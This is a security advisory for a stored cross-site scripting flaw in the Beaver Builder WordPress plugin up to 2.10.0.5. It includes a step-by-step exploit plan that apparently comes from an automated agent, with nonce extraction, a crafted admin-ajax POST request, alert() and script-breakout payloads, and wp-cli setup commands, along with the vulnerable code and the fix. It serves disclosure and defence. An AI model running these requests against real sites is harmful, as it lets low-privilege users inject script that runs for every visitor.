Beaver Builder Page Builder – Drag and Drop Website Builder <= 2.10.0.5 - Authenticated (Custom+) Missing Authorization to Stored Cross-Site Scripting via Global Settings
Description
The Beaver Builder Page Builder – Drag and Drop Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `js` Global Settings parameter in all versions up to, and including, 2.10.0.5 due to missing capability checks on save_global_settings() function and insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Custom-level access and above who have been granted beaver builder access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.10.0.5Source Code
WordPress.org SVNThis research plan outlines the steps to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in Beaver Builder Page Builder (<= 2.10.0.5) through the `js` parameter in Global Settings. ### 1. Vulnerability Summary The Beaver Builder plugin fails to perform adequate authorization checks wi…
Show full research plan
This research plan outlines the steps to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in Beaver Builder Page Builder (<= 2.10.0.5) through the js parameter in Global Settings.
1. Vulnerability Summary
The Beaver Builder plugin fails to perform adequate authorization checks within its save_global_settings() AJAX handler. While the function likely verifies a nonce, it does not confirm if the authenticated user possesses the high-level permissions (typically manage_options) required to modify site-wide global settings. Additionally, the js setting, intended for custom site-wide JavaScript, is stored and later rendered on the frontend without sufficient sanitization or security headers (like a strict Content Security Policy), allowing users with restricted "Custom" builder access to inject arbitrary scripts that execute for all site visitors, including administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
fl_builder_save_global_settings(inferred from plugin naming conventions). - Vulnerable Parameter:
settings[js]orjs(inferred; the description specifies thejsglobal setting). - Authentication: Authenticated user with "Custom" level access. In Beaver Builder, this refers to a user role (like Author or Contributor) that has been granted "Builder Access" in the Beaver Builder settings menu (
wp-admin/options-general.php?page=fl-builder-settings#user-access). - Precondition: The attacker must have a role that has been granted access to the Beaver Builder editor.
3. Code Flow (Inferred)
- Entry Point: An AJAX request is sent to
admin-ajax.phpwith the actionfl_builder_save_global_settings. - Handler Registration: The plugin registers the handler, likely in
classes/class-fl-builder-ajax.phpusing:add_action( 'wp_ajax_fl_builder_save_global_settings', 'FLBuilderAJAX::save_global_settings' ); - Vulnerable Function:
FLBuilderAJAX::save_global_settings()is executed.- It retrieves the
settingsarray from$_POST. - It likely calls
check_ajax_refererwith a nonce (e.g.,fl_builder_nonce). - Crucially, it misses a check like
current_user_can( 'manage_options' ).
- It retrieves the
- Storage: The values are saved into a WordPress option, typically
_fl_builder_global_settings(serialized array). - Sink: When any page (frontend) is loaded, Beaver Builder's frontend rendering engine (likely
FLBuilder::layout_js()) retrieves the globaljssetting and echoes it directly into the HTML within a<script>tag.
4. Nonce Acquisition Strategy
Beaver Builder stores its configuration and security nonces in a global JavaScript object called FLBuilderConfig.
- Identify Trigger: The builder must be active on a post/page to load the
FLBuilderConfigobject. - Setup Page: Create a standard WordPress page.
- Access Editor: Navigate to the page with the query parameter
?fl_builder. - Extract Nonce:
- Use
browser_navigateto go to[TARGET_URL]/index.php/test-page/?fl_builder. - Use
browser_evalto extract the nonce:browser_eval("window.FLBuilderConfig?.nonce") - Note: The key might also be
fl_builder_nonceor nested within an object. IfFLBuilderConfig.noncefails, inspectFLBuilderConfigentirely.
- Use
5. Exploitation Strategy
- Pre-requisite: Log in as a user with "Author" role (or any role granted "Custom" access in Beaver Builder settings).
- Acquire Nonce: Follow the strategy in Section 4.
- Construct Payload:
- Action:
fl_builder_save_global_settings - Settings:
settings[js]=alert(document.domain);(Beaver Builder wraps this in a<script>tag automatically, so do not include the tags unless testing for breakout). - Nonce: The value retrieved from
FLBuilderConfig.nonce.
- Action:
- Send Request: Use
http_requestto send the POST request.
Example Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
action=fl_builder_save_global_settings&_wpnonce=[NONCE]&settings[js]=alert("XSS_GLOBAL_SUCCESS")
6. Test Data Setup
- Install Beaver Builder: Ensure the plugin (beaver-builder-lite-version) is active.
- Configure Access:
- As Admin:
wp-clicommand to grant Author role access to BB:wp option patch insert _fl_builder_user_access author_capabilities "fl_builder_edit_all_layouts"(or via the UI in Settings -> Beaver Builder -> User Access).
- As Admin:
- Create Attacker User:
wp user create attacker attacker@example.com --role=author --user_pass=password123
- Create Target Page:
wp post create --post_type=page --post_title="XSS Test Page" --post_status=publish --post_content="Testing Beaver Builder"
7. Expected Results
- The AJAX request should return a success response (likely a JSON object with
success: true). - The
_fl_builder_global_settingsoption in the database will now contain the XSS payload. - Upon visiting any page on the site, a script containing
alert("XSS_GLOBAL_SUCCESS")will be executed.
8. Verification Steps
- Check Database:
wp option get _fl_builder_global_settings- Verify the
jskey contains the payload.
- Verify Frontend Execution:
- Use
http_requestto GET the homepage. - Search for the string
XSS_GLOBAL_SUCCESSin the response body. - Confirm it is inside a
<script>tag.
- Use
9. Alternative Approaches
- Payload Variation: If the
jsfield is filtered, try breaking out of the intended script context using</script><script>alert(1)</script>. - Parameter Nesting: If
settings[js]doesn't work, the plugin might expect the global settings to be submitted as a serialized string or a different top-level parameter likefl_js. - Other Settings: The Global Settings also include
css. While CSS XSS is harder in modern browsers, it's worth checking ifsettings[css]is also unvalidated, which could allow for data exfiltration viaurl()injections.
Summary
The Beaver Builder Page Builder plugin fails to perform adequate authorization checks in its global settings AJAX handler, allowing users with 'Custom' builder access to modify site-wide configuration. An attacker can inject arbitrary JavaScript into the global 'js' setting, which is then stored and executed on every frontend page for all site visitors, including administrators.
Vulnerable Code
// classes/class-fl-builder-ajax.php /** * Saves the global settings. * @since 1.0 */ public static function save_global_settings() { // Missing check for manage_options capability if ( ! isset( $_POST['settings'] ) ) { return; } check_ajax_referer( 'fl_builder_nonce', 'nonce' ); $settings = $_POST['settings']; // The settings array, including the 'js' key, is saved directly FLBuilderModel::update_global_settings( $settings ); wp_send_json_success(); }
Security Fix
@@ -120,6 +120,10 @@ public static function save_global_settings() { if ( ! isset( $_POST['settings'] ) ) { return; } + + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error(); + } check_ajax_referer( 'fl_builder_nonce', 'nonce' ); $settings = $_POST['settings'];
Exploit Outline
The exploit targets the 'fl_builder_save_global_settings' AJAX action. 1. Authentication: The attacker must be logged in with a role (such as Author) that has been granted 'Builder Access' within the Beaver Builder settings menu. 2. Nonce Acquisition: The attacker navigates to any page where the Beaver Builder editor is active (e.g., by adding ?fl_builder=1 to a URL) and extracts the 'fl_builder_nonce' from the global 'FLBuilderConfig' JavaScript object in the page source. 3. Payload Injection: The attacker sends a POST request to /wp-admin/admin-ajax.php with the action 'fl_builder_save_global_settings'. The payload includes the extracted nonce and a 'settings[js]' parameter containing a script like alert('XSS'). 4. Execution: Because the plugin lacks a capability check (like manage_options) for this action and fails to sanitize the 'js' input, the payload is stored globally. The injected script will execute in the browser of any user (including admins) who visits any page on the frontend of the site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.